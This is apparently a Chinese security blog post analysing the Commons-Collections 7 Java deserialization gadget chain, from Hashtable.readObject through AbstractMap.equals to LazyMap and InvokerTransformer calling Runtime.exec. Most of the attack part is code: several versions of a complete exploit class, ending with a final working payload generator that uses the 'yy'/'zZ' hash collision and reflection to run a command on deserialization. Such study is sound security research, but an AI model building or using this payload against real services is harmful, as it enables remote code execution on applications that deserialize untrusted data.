Java安全-Commons-Collections 7利用链分析
前言
CC7和CC5类似,后半部分也是LazyMap

CC7
链子分析
我们先从链子的前半部分开始
先看入口类Hashtable
,readObject
方法调用了reconstitutionPut
方法

reconstitutionPut
方法调用了equals
方法,当然也调用了hashCode
方法,如果走hashCode
的话又回到了CC6

往下调用了LazyMap
类的equals
方法,但是LazyMap
类并没有equals
方法,实际上是调用了LazyMap
的父类AbstractMapDecorator
的equals
方法


这里比较了两个key
的引用,如果不是同一对象则会再次调用equals
方法,map
是通过LazyMap
传递的,LazyMap
链中用decorate
方法将HashMap
传给了map
,所以这里会调用HashMap
的equals
方法

HashMap
没有equals
方法,但是继承了AbstractMap
抽象类,这个类有equals
方法



AbstractMap
类的equals
方法调用了get
方法,这样整条链子就接上了
构造Exp
后半段链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.ws.spi.Invoker; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
} }
|
结合入口类
Hashtable
类的reconstitutionPut
方法

这里对传进去的Entry
对象数组进行了循环,逐个调用e.key.equals(key)
,这里的key
如果可控,那么AbstractMap.equals
中的m
也是可控的
我们直接将decorateMap
传入key
1 2
| Hashtable hashtable = new Hashtable(); hashtable.put(decoratedMap, "p0l1st");
|
Hashtable.readObject()
方法中的key
和value
实际上就是通过Hashtable.put()
方法放进去的键值对
然后进行序列化反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
Hashtable hashtable = new Hashtable(); hashtable.put(decoratedMap, "p0l1st");
serialize(hashtable); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
} }
|
但是却没有弹计算器
在AbstractMap
类的equals
方法打个断点,发现根本没执行到这里

看看yso的链子

相比之下
- 多了一个map
- 两次put,key分别是yy和zZ
- 最后
remove
了yy
为什么要调用两次put
?
Hashtable
的reconstitutionPut
方法是被遍历调用的,第一次调用的时候,并不会走到reconstitutionPut
方法的for循环里面,因为tab[index]
的内容是空的,在下面会对tab[index]
进行赋值

第二次调用reconstitutionPut
时,tab
才有值,才能进入for循环从而调用equals
为什么两次put
的key
分别为yy和zZ?
第二次调用reconstitutionPut
进入for循环的时候,此时的e是从tab中取出的lazyMap1,然后进入判断,需要满足e.hash == hash
才能走到e.key.equals
方法中。这里判断要求取出来的lazyMap1对象的hash值要等于现在对象lazyMap2的hash值,这里的hash值是通过lazyMap对象中的key.hashCode
得到的,也就是说lazyMap1的hash值就是"yy".hashCode()
,lazyMap2的hash值就是"zZ".hashCode()
,而在Java中有一个小bug
1
| "yy".hashCode() == "zZ".hashCode()
|
yy
和zZ
由hashCode
计算出来的值是一样的,所以我们需要将map中put
的值设置为yy
和zZ
,这样才能走到e.key.equals
中
为什么调用完Hashtable.put
后,还需要remove
掉yy
?
这是因为Hashtable.put
实际上也会调用到equals
方法
当调用完equals
方法后,lazyMap2的key
就会增加一个yy键
这就不能满足hash碰撞了,构造序列化链的时候是满足的,但是构造完之后就不满足了,那么经过反序列化也不满足hash碰撞了,也就不会执行命令,所以构造完序列化链之后需要手动删除这多出来的一组键值对
Exp应该是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1); decorateMap2.remove("yy");
serialize(hashtable); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
} }
|
但是这样会弹出两个计算器,序列化的时候就会弹出一个

还是老样子先设置为常量再反射修改
Exp
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); decorateMap2.remove("yy");
serialize(hashtable); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
} }
|

参考文章
Java_Commons-Collections 7(CC7) 学习过程
Java反序列化Commons-Collections篇08-CC7链